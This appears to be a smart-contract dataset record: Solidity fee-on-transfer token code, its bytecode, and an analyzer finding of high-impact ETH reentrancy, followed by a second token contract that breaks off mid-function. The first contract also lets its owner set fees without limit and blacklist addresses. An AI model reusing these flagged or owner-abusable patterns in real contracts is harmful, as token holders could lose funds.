IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104b057600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105fb565b005b34801561020a57600080fd5b50604080518082019091526009815268416c2043617061706560b81b60208201525b6040516102399190611a22565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a77565b61069a565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b5066038d7ea4c680005b604051908152602001610239565b3480156102da57600080fd5b506102626102e9366004611aa3565b6106b1565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610239565b34801561032c57600080fd5b50601554610292906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae4565b61071a565b34801561036c57600080fd5b506101fc61037b366004611b11565b610765565b34801561038c57600080fd5b506101fc6107ad565b3480156103a157600080fd5b506102c06103b0366004611ae4565b6107f8565b3480156103c157600080fd5b506101fc61081a565b3480156103d657600080fd5b506101fc6103e5366004611b2c565b61088e565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae4565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610292565b34801561045757600080fd5b506101fc610466366004611b11565b6108bd565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b5060408051808201909152600681526543415041504560d01b602082015261022c565b3480156104bc57600080fd5b506101fc6104cb366004611b2c565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b45565b610934565b3480156104fc57600080fd5b5061026261050b366004611a77565b610972565b34801561051c57600080fd5b5061026261052b366004611ae4565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b77565b6109d3565b34801561058157600080fd5b506102c0610590366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2c565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae4565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c34565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c95565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c34565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c34565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c34565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c34565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c69565b9050602002016020810190610a349190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c95565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c34565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c34565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb0565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a22565b50600061121e8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611cdf565b816001815181106113cc576113cc611c69565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611731565b6001600160a01b0389166000908152600260205260409020556115c481611790565b6115ce84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164082826114bf565b82101561165b5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106259190611a22565b50600061121e8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149c565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b60008061173e8385611cb0565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179a61149c565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bf565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106ab565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112de81611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112de82611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b600082821015611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112de81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b89a8b08021469133d17ea014d8bd75c3a63828d000606fd1e1d0ad2402878b64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,914 |
0x899573b4c1546919451d5b377cd0053c8f703fb3
|
/**
//SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OZAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 5;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Ozai Inu";
string private constant _symbol = "OZAI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
